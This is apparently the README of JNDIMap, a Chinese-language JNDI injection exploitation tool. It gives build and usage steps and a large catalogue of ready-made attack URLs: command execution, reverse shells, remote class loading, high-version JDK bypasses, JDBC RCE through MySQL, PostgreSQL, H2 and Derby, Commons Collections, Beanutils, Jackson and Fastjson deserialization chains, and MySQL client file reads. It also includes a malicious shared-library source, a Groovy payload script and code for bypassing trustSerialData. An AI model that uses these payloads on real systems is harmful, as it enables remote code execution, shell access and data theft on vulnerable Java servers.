Home

Awesome

JNDIMap

English

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI, LDAP 和 LDAPS 协议, 包含多种高版本 JDK 绕过方式

目前支持以下功能

Build

目前 Release 版本暂未发布, 推荐手动编译 (JDK 8)

git clone https://github.com/X1r0z/JNDIMap
cd JNDIMap
mvn package -Dmaven.test.skip=true

Usage

Usage: java -jar JNDIMap.jar [-i <ip>] [-r <rmiPort>] [-l <ldapPort>] [-s <ldapsPort>] [-p <httpPort>] [-j <jksPath>] [-k <jksPin>] [-u <url>] [-f <file>] [-useReferenceOnly] [-h]

-i: 服务器监听 IP (即 codebase, 必须指定为一个目标可访问到的 IP, 例如 192.168.1.100, 不能用 0.0.0.0)

-r: RMI 服务器监听端口, 默认为 1099

-l: LDAP 服务器监听端口, 默认为 1389

-s: LDAPS 服务器监听端口, 默认为 1636

-p: HTTP 服务器监听端口, 默认为 3456

-j: LDAPS JKS 证书路径

-k: LDAPS JKS 证书密码, 默认为空

-u: 手动指定 JNDI 路由, 例如 /Basic/Command/open -a Calculator (某些场景的 JNDI URL 并不完全可控)

-f: Groovy 脚本路径, 用于编写自定义 JNDI Payload

-useReferenceOnly: 仅适用于 LDAP 协议, 通过 LDAP 相关参数直接返回 Reference 对象, 用于绕过 com.sun.jndi.ldap.object.trustSerialData

-h: 显示 Usage 信息

Feature

注意传入的 Base64 均为 Base64 URL 编码, 即把 +/ 替换为 -_

大部分参数均支持自动 Base64 URL 解码, 即可以直接传入明文 (命令/IP/端口/URL) 或 Base64 URL 编码后的内容 (部分路由只接受 Base64 URL 编码后的参数, 下文会特别注明)

以下路由除 /Deserialize/* (LDAP(s) 反序列化) 以外, 均支持 RMI, LDAP 和 LDAPS 协议

对于 RMI 协议, 只需要将 ldap://127.0.0.1:1389/ 替换为 rmi://127.0.0.1:1099/ 即可

对于 LDAPS 协议, 只需要将 ldap://127.0.0.1:1389/ 替换为 ldaps://127.0.0.1:1636/ 即可

Basic

直接通过 JNDI Reference 加载远程 Class

Java 版本需小于 8u121 (RMI 协议) 或 8u191 (LDAP 协议)

# 发起 DNS 请求
ldap://127.0.0.1:1389/Basic/DNSLog/xxx.dnslog.cn
ldap://127.0.0.1:1389/Basic/DNSLog/eHh4LmRuc2xvZy5jbg==

# 命令执行
ldap://127.0.0.1:1389/Basic/Command/open -a Calculator
ldap://127.0.0.1:1389/Basic/Command/b3BlbiAtYSBDYWxjdWxhdG9y

# 加载自定义 Class 字节码

# URL 传参加载
ldap://127.0.0.1:1389/Basic/FromUrl/<base64-url-encoded-java-bytecode>
# 从运行 JNDIMap 的服务器上加载
ldap://127.0.0.1:1389/Basic/FromFile/Evil.class # 相对于当前路径
ldap://127.0.0.1:1389/Basic/FromFile/<base64-url-encoded-path-to-evil-class-file>

# 原生反弹 Shell (支持 Windows)
ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/4444
ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==

Bypass

通过以下方式绕过高版本 JDK 限制, 支持 Basic 所有功能

上述方式均依赖于 BeanFactory, 因此 Tomcat 版本需小于 8.5.79

# Tomcat Bypass
ldap://127.0.0.1:1389/TomcatBypass/Command/open -a Calculator

# Groovy Bypass
ldap://127.0.0.1:1389/GroovyClassLoader/Command/open -a Calculator
ldap://127.0.0.1:1389/GroovyShell/Command/open -a Calculator

# SnakeYaml Bypass
ldap://127.0.0.1:1389/SnakeYaml/Command/open -a Calculator

MLet

通过 MLet 探测 classpath 中存在的类

如果 com.example.TestClass 这个类存在, 则 HTTP 服务器会接收到一个 /com/example/TestClass_exists.class 请求

ldap://127.0.0.1:1389/MLet/com.example.TestClass

NativeLibLoader

通过 NativeLibLoader 加载目标服务器上的动态链接库

需要先提前以其它方式在目标机器上写入一个 dll/so/dylib

注意传入的 path 为绝对路径, 且不能包含后缀名

例如: 服务器上存在 /tmp/evil.so, 则 path 为 /tmp/evil

ldap://127.0.0.1:1389/NativeLibLoader/<base64-url-encoded-path-to-native-library>

动态链接库源码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("open -a Calculator");
}

编译

# macOS
gcc -shared -fPIC exp.c -o exp.dylib

# Linux
gcc -shared -fPIC exp.c -o exp.so

JDBC RCE

支持以下数据库连接池的 JDBC RCE

将 URL 中的 Factory 替换为 CommonsDBCP1/CommonsDBCP2/TomcatDBCP1/TomcatDBCP2/TomcatJDBC/Druid/HikariCP 其中之一

MySQL

MySQL JDBC 反序列化

# detectCustomCollations (5.1.19-5.1.48, 6.0.2-6.0.6)
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize1/127.0.0.1/3306/root

# ServerStatusDiffInterceptor

# 5.1.11-5.1.48
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize2/127.0.0.1/3306/root

# 6.0.2-6.0.6
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize3/127.0.0.1/3306/root

# 8.0.7-8.0.19
ldap://127.0.0.1:1389/Factory/MySQL/Deserialize4/127.0.0.1/3306/root

JDBC URL (供参考)

# detectCustomCollations (5.1.19-5.1.48, 6.0.2-6.0.6)
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=123

# ServerStatusDiffInterceptor

# 5.1.11-5.1.48
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=test

# 6.0.2-6.0.6
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=test

# 8.0.7-8.0.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=test

MySQL 客户端任意文件读取

# 全版本
ldap://127.0.0.1:1389/Factory/MySQL/FileRead/127.0.0.1/3306/root

JDBC URL (供参考)

# 全版本
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360

上述两种方式均需要搭配恶意 MySQL 服务端使用

https://github.com/4ra1n/mysql-fake-server

https://github.com/rmb122/rogue_mysql_server

https://github.com/fnmsd/MySQL_Fake_Server

PostgreSQL

通过 PostgreSQL JDBC URL 的 socketFactory 和 socketFactoryArg 参数实例化 ClassPathXmlApplicationContext 实现 RCE

ldap://127.0.0.1:1389/Factory/PostgreSQL/Command/open -a Calculator

H2

通过 H2 JDBC URL 的 INIT 参数执行 SQL 语句, 支持命令执行和原生反弹 Shell

三种方式 RCE: CREATE ALIAS + Java/Groovy, CREATE TRIGGER + JavaScript

# 命令执行
ldap://127.0.0.1:1389/Factory/H2/Java/Command/open -a Calculator
ldap://127.0.0.1:1389/Factory/H2/Groovy/Command/open -a Calculator
ldap://127.0.0.1:1389/Factory/H2/JavaScript/Command/open -a Calculator

# 原生反弹 Shell (暂不支持 Groovy)
ldap://127.0.0.1:1389/Factory/H2/Java/ReverseShell/127.0.0.1/4444
ldap://127.0.0.1:1389/Factory/H2/JavaScript/ReverseShell/127.0.0.1/4444

Derby

Derby SQL RCE

支持执行命令和原生反弹 Shell

# 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)
ldap://127.0.0.1:1389/Factory/Derby/Install/<database>

# 2. 执行命令/原生反弹 Shell
ldap://127.0.0.1:1389/Factory/Derby/Command/<database>/open -a Calculator
ldap://127.0.0.1:1389/Factory/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444

# 3. 删除数据库以释放内存
ldap://127.0.0.1:1389/Factory/Derby/Drop/<database>

注意 HikariCP/TomcatJDBC 的 connectionInitSql/initSQL 参数不支持一次性执行多条 SQL 语句, 因此上述 Install 过程需要分开写, 以 HikariCP 为例

# 1. 加载远程 jar (会自动创建数据库)
ldap://127.0.0.1:1389/HikariCP/Derby/InstallJar/<database>

# 2. 将 jar 加入 classpath
ldap://127.0.0.1:1389/HikariCP/Derby/AddClassPath/<database>

# 3. 创建命令执行的存储过程
ldap://127.0.0.1:1389/HikariCP/Derby/CreateCmdProc/<database>

# 4. 创建反弹 Shell 的存储过程
ldap://127.0.0.1:1389/HikariCP/Derby/CreateRevProc/<database>

# 后续 JNDI URL 同上

为了防止恶意 jar 落地, JNDIMap 选择使用 jdbc:derby:memory:<database> 形式的 JDBC URL 以在内存中创建数据库

因此最好不要多次执行 Install/InstallJar 路由, 并且记得 Drop 数据库以释放内存

Derby 主从复制反序列化 RCE

JNDI 本身就支持反序列化, 意义不大, 可能在某些比较极限的场景下有用 (例如过滤了 LDAP 协议, 仅支持 RMI)

# 1. 创建内存数据库
ldap://127.0.0.1:1389/Factory/Derby/Create/<database>

# 2. 使用 JNDIMap 快速启动恶意 Derby Server
java -cp JNDIMap.jar map.jndi.server.DerbyServer -g "/CommonsCollectionsK1/Command/open -a Calculator"

# 3. 指定 Slave 信息, database 即为上面创建的数据库名称
ldap://127.0.0.1:1389/Factory/Derby/Slave/<ip>/<port>/<database>

启动内置的恶意 Derby Server

Usage: java -cp JNDIMap.jar map.jndi.server.DerbyServer [-p <port>] [-g <gadget>] [-f <file>] [-h]

-p: Derby Server 监听端口, 默认为 4851

-g: 指定 Gadget, 如 /CommonsCollectionsK1/Command/open -a Calculator (即下文 /Deserialize/* 系列路由)

-f: 指定自定义序列化数据文件

-h: 显示 Usage 信息

Deserialize

通过 LDAP(s) 协议触发 Java 原生反序列化, 不支持 RMI 协议

JNDIMap 内置以下利用链, 同时也支持自定义数据反序列化

# 自定义数据反序列化

# URL 传参加载
ldap://127.0.0.1:1389/Deserialize/FromUrl/<base64-url-encoded-serialize-data>
# 从运行 JNDIMap 的服务器上加载
ldap://127.0.0.1:1389/Deserialize/FromFile/payload.ser # 相对于当前路径
ldap://127.0.0.1:1389/Deserialize/FromFile/<base64-url-encoded-path-to-serialized-data>

# CommonsCollectionsK1 反序列化 (3.1 + TemplatesImpl), 支持命令执行和反弹 Shell
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK1/ReverseShell/127.0.0.1/4444

# CommonsCollectionsK2 反序列化 (4.0 + TemplatesImpl), 功能同上
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK2/Command/open -a Calculator

# CommonsCollectionsK3 反序列化 (3.1 + Runtime.exec), 仅支持命令执行
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK3/Command/open -a Calculator

# CommonsCollectionsK4 反序列化 (4.0 + Runtime.exec), 功能同上
ldap://127.0.0.1:1389/Deserialize/CommonsCollectionsK4/Command/open -a Calculator

# CommonsBeanutils 反序列化
# 无需 commons-collections 依赖, 使用 TemplatesImpl, 支持命令执行和反弹 Shell
# 根据 BeanComparator serialVersionUID 不同, 分为两个版本: 1.8.3 和 1.9.4

# 1.8.3
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils183/ReverseShell/127.0.0.1/4444

# 1.9.4
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils194/ReverseShell/127.0.0.1/4444

# Jackson 原生反序列化
# 使用 JdkDynamicAopProxy 优化不稳定性问题, 需要 spring-aop 依赖
ldap://127.0.0.1:1389/Deserialize/Jackson/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Jackson/ReverseShell/127.0.0.1/4444

# Fastjson 原生反序列化

# Fastjson1: 全版本 (1.2.x)
ldap://127.0.0.1:1389/Deserialize/Fastjson1/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Fastjson1/ReverseShell/127.0.0.1/4444

# Fastjson2: <= 2.0.26
ldap://127.0.0.1:1389/Deserialize/Fastjson2/Command/open -a Calculator
ldap://127.0.0.1:1389/Deserialize/Fastjson2/ReverseShell/127.0.0.1/4444

Script

JNDIMap 支持使用 Groovy 语言编写自定义 JNDI Payload 脚本

以 H2 RCE 为例

import javax.naming.Reference
import javax.naming.StringRefAddr

def list = []
list << "CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'"
list << "CALL EXEC('$args')" // 参数通过 args 变量传入

def url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=${list.join('\\;')}\\;"

def ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null)
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"))
ref.add(new StringRefAddr("jdbcUrl", url))

return ref // 返回 Reference 对象

运行 JNDIMap

java -jar JNDIMap.jar -f /path/to/evil.groovy

通过以下 JNDI URL 实现 RCE

# 支持手动向 Groovy 脚本传入参数
ldap://127.0.0.1:1389/Script/<args>

如果在某些情况下, 无法完全控制 JNDI URL, 可以指定 -u 参数

java -jar JNDIMap.jar -f /path/to/evil.groovy -u "/Script/open -a Calculator"

然后通过任意 JNDI URL 触发

ldap://127.0.0.1:1389/x

useReferenceOnly

对于 LDAP(s) 协议的 JNDI 注入, 如果想要利用 ObjectFactory 绕过, 目前已有的方法都是将 LDAP 协议返回的 javaSerializedData 属性设置为 Reference 对象的序列化数据

但是自 JDK 21 开始 com.sun.jndi.ldap.object.trustSerialData 参数默认为 false, 即无法通过 LDAP 协议触发反序列化, 也就无法通过上面的方法解析 Reference 对象

不过我们仍然可以设置相关的 LDAP 参数, 使得服务端直接返回 Reference 对象, 因为这个过程没有涉及到反序列化, 所以也就绕过了 trustSerialData 参数的限制

具体实现如下

public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
    // ......

    Reference ref = (Reference) result;
    e.addAttribute("objectClass", "javaNamingReference");
    e.addAttribute("javaClassName", ref.getClassName());
    e.addAttribute("javaFactory", ref.getFactoryClassName());

    Enumeration<RefAddr> enumeration = ref.getAll();
    int posn = 0;

    while (enumeration.hasMoreElements()) {
        StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
        e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
        posn ++;
    }
    
    // ......
}

使用时指定 -useReferenceOnly 参数即可

java -jar JNDIMap.jar -useReferenceOnly

Reference

https://tttang.com/archive/1405/

https://paper.seebug.org/1832/

https://xz.aliyun.com/t/12846

http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson 与原生反序列化/

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson 与原生反序列化-二/

https://www.yulegeyu.com/2022/11/12/Java 安全攻防之老版本 Fastjson 的一些不出网利用/

https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/

https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html